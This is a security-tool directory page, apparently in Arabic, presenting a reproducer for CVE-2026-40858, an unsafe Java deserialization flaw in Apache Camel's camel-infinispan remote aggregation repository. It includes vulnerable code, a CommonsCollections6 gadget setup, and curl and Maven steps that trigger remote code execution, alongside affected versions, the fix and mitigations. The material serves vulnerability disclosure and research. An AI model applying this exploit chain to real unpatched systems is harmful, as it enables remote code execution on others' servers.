Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-40858 — أداة استنساخ لـ CVE-2026-40858 — إلغاء تسلسل غير آمن في مستودع التجميع البعيد لـ Apache Camel camel-infinispan (RCE) | Kitploit
أدوات/GitHubGitHub/oscerd/cve-2026-40858
تحليل الثغرات الأمنيةالاستغلالالأوراق والأبحاثالتعلم والتعليماستغلال الملفات الثنائية
GitHuboscerd/cve-2026-40858

CVE-2026-40858

أداة استنساخ لـ CVE-2026-40858 — إلغاء تسلسل غير آمن في مستودع التجميع البعيد لـ Apache Camel camel-infinispan (RCE)

عرض المستودع
12منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

أداة إعادة إنتاج ثغرة إلغاء التسلسل غير الآمن في مستودع التجميع عن بُعد camel-infinispan (CVE-2026-40858)

يعرض هذا المشروع ثغرة إلغاء تسلسل Java (Java deserialization) في مكوّن camel-infinispan الخاص بـ Apache Camel، المتتبَّعة باسم CVE-2026-40858. يقوم مستودع التجميع عن بُعد القائم على ProtoStream بتسلسل كل Exchange مُجمَّع إلى مخبأ Infinispan عن بُعد، وعند إعادة قراءة أي إدخال (عبر get() أو recover())، يقوم بإلغاء تسلسله باستخدام java.io.ObjectInputStream بدون ObjectInputFilter. يمكن لأي مهاجم لديه صلاحية الكتابة إلى المخبأ الأساسي أن يزرع كائنًا مُسلسلًا مُصمَّمًا خصيصًا ويحصل على تنفيذ تعليمات برمجية عن بُعد (RCE) في المرة التالية التي يقرأ فيها المستودع ذلك المفتاح.

النشرة الأمنية: https://camel.apache.org/security/CVE-2026-40858.html

ملخص الثغرة

الخاصيةالقيمة
المكوّنcamel-infinispan (مستودع تجميع عن بُعد / HotRod)
الفئة المتأثرةorg.apache.camel.component.infinispan.remote.DefaultExchangeHolderProtoAdapter → DefaultExchangeHolderUtils.deserialize(byte[])
CWECWE-502: إلغاء تسلسل بيانات غير موثوقة
الأثرتنفيذ تعليمات برمجية عن بُعد (RCE)
الإصدارات المتأثرةمن 4.0.0 قبل 4.14.7، ومن 4.15.0 قبل 4.18.2، ومن 4.19.0 قبل 4.20.0
الإصدارات المُصحَّحة4.14.7 و4.18.2 و4.20.0
JIRACAMEL-23322
المبلِّغFeng Ning (Innora Pte. Ltd.)

التفاصيل التقنية

يخزّن InfinispanRemoteAggregationRepository كل Exchange ككائن DefaultExchangeHolder. مع مُسلسِل ProtoStream، يُكيَّف هذا الحامل بواسطة DefaultExchangeHolderProtoAdapter، الذي يكون حقل ProtoStream رقم 1 فيه هو الحامل مُسلسَلًا عبر ObjectOutputStream عادي. وفي طريق العودة، يعيد المُكيّف بناء الحامل بتمرير تلك البايتات إلى DefaultExchangeHolderUtils.deserialize:

root@kitploit:~
// DefaultExchangeHolderUtils.deserialize(byte[]) - affected version
static DefaultExchangeHolder deserialize(byte[] bytes) throws IOException, ClassNotFoundException {
    ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
    ClassLoadingAwareObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais);
    return (DefaultExchangeHolder) ois.readObject();   // NO ObjectInputFilter
}

يعمل ClassLoadingAwareObjectInputStream على توسيع مجموعة الفئات القابلة للحل بدلًا من تقييدها، لذا فإن readObject() سينشئ أي سلسلة أدوات (gadget chain) موجودة على مسار الفئات (classpath). وبما أن البايتات تأتي مباشرةً من المخبأ البعيد، فأي شخص يمكنه الكتابة إلى مفتاح هذا المخبأ يتحكم في دفق إلغاء التسلسل — وتنطلق الأداة أثناء readObject()، قبل تحويل القيمة إلى DefaultExchangeHolder إطلاقًا.

تكوين الضحية

يستخدم مسار (Route) — أو كما هو الحال هنا، كود تطبيق — مستودع التجميع عن بُعد المدعوم بخادم Infinispan:

root@kitploit:~
InfinispanRemoteConfiguration conf = new InfinispanRemoteConfiguration();
conf.setCacheContainerConfiguration(hotRodClientConfig);   // points at the Infinispan server

InfinispanRemoteAggregationRepository repo =
        new InfinispanRemoteAggregationRepository("camel-aggregation");
repo.setConfiguration(conf);
repo.setCamelContext(camelContext);
repo.start();

// ... during aggregation Camel calls repo.add(...) / repo.get(...) / repo.recover(...)

يؤدي أي استدعاء get() أو recover() لمفتاح تم العبث بقيمته المخزنة إلى تفعيل نقطة الحساسية (sink).

هيكل المستودع — أين يعمل الكود الثغري

يعمل كود Camel الثغري داخل التطبيق (على المضيف)؛ بينما يعمل خادم Infinispan داخل Docker بصفته مخزن الدعم الذي يتواصل معه المستودع. وهذا يعكس طريقة نشر المستودع عمليًا: البيانات غير الموثوقة تعيش في المخبأ المشترك.

root@kitploit:~
CVE-2026-40858/
├── pom.xml                 # camel-infinispan 4.18.1 + commons-collections 3.2.1 (gadget)
├── docker-compose.yml      # quay.io/infinispan/server:16.1 (the remote cache)
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── InfinispanRepoService.java   # builds + starts InfinispanRemoteAggregationRepository
    │   ├── Gadget.java                  # CommonsCollections6 gadget, fired during readObject()
    │   └── ExploitController.java       # /exploit/attack: plants a gadget-bodied holder, then reads it
    └── resources/
        └── application.properties

ملاحظة حول اختصار إثبات المفهوم (PoC). يكتب المهاجم الحقيقي البايتات الخبيثة مباشرةً داخل مخبأ Infinispan المشترك. ولإبقاء أداة إعادة الإنتاج مكتفية بذاتها، يزرع /exploit/attack القيمة عبر المستودع نفسه (repo.add(...) مع أداة gadget كجسم لـ Exchange)، ثم يستدعي repo.get(...) لتفعيل القراءة. نقطة الحساسية التي تنفّذ الأداة هي readObject() الخاص بـ Camel نفسه، تمامًا كما ستنطلق عند أي إدخال مخبأ عبث به مهاجم.

المتطلبات الأساسية

  • Java 17+ وMaven 3.8+
  • Docker (لتشغيل خادم Infinispan)

خطوات إعادة الإنتاج

الخطوة 1: تشغيل خادم Infinispan

root@kitploit:~
docker compose up -d
# wait until ready:
curl -s -o /dev/null -w "%{http_code}\n" --retry-connrefused --retry 60 --retry-delay 1 \
     http://localhost:11222/rest/v2/cache-managers/default/health/status   # -> 200

الخطوة 2: بناء التطبيق الثغري وتشغيله

يتم تجميع أداة CommonsCollections6 مباشرةً عبر الانعكاس (reflection) داخل java.util، لذا يجب تشغيل JVM مع الخيار --add-opens java.base/java.util=ALL-UNNAMED:

root@kitploit:~
mvn clean package -DskipTests
java --add-opens java.base/java.util=ALL-UNNAMED \
     -jar target/cve-2026-40858-infinispan-0.0.1-SNAPSHOT.jar

الخطوة 3: تفعيل إلغاء التسلسل (RCE)

root@kitploit:~
curl -s http://localhost:8080/exploit/attack
# -> repo.get() returned: Exchange[...]
#
#    >>> RCE proof — /tmp/pwned exists: true

يتم إنشاء الملف /tmp/pwned بواسطة الأداة (touch /tmp/pwned) أثناء قيام المستودع بإلغاء تسلسل القيمة المزروعة في المخبأ.

التنظيف

root@kitploit:~
docker compose down
rm -f /tmp/pwned

نواقل الهجوم

أي نشر يستخدم InfinispanRemoteAggregationRepository (مع ترميز ProtoStream) تجاه مخبأ يمكن للمهاجم الكتابة إليه. قد يأتي حق الوصول للكتابة في المخبأ من عنقود Infinispan مشترك/متعدد المستأجرين، أو نقطة نهاية HotRod قابلة للوصول عبر الشبكة، أو أي منتِج آخر يُدخل البيانات إلى المخبأ نفسه.

شروط الاستغلال

  1. مستودع تجميع عن بُعد من camel-infinispan يقرأ من مخبأ يمكن للمهاجم الكتابة إليه.
  2. وجود مكتبة أدوات (gadget) على مسار الفئات (classpath) (هنا commons-collections:3.2.1).

الإصلاح الموصى به

قم بالترقية إلى 4.14.7 أو 4.18.2 أو 4.20.0. يطبّق الإصلاح ObjectInputFilter / قائمة سماح للفئات على عملية إلغاء تسلسل الحامل، بما يطابق التحصين المطبَّق على مستودعات تجميع Camel الأخرى (camel-leveldb وcamel-cassandraql وcamel-jms) وعلى camel-mina / camel-netty.

التخفيف من الأثر

حتى تتم الترقية:

  1. تعامل مع مخبأ Infinispan كحدود ثقة — قيّد من يملك صلاحية الكتابة إلى مخبأ التجميع.
  2. أزل مكتبات الأدوات (gadget) من مسار الفئات (رقِّ أو أزل commons-collections 3.x وما يشابهها).
  3. أبقِ نقطة نهاية Infinispan HotRod على شبكة موثوقة مع تفعيل المصادقة.

إخلاء مسؤولية

أداة إعادة الإنتاج هذه مُقدَّمة لأغراض البحث الأمني والاختبار المصرَّح به فقط، من أجل ثغرة مُعلنة علنًا ومُصحَّحة. لا تستخدمها ضد أي أنظمة دون إذن صريح.

تنزيل الأداة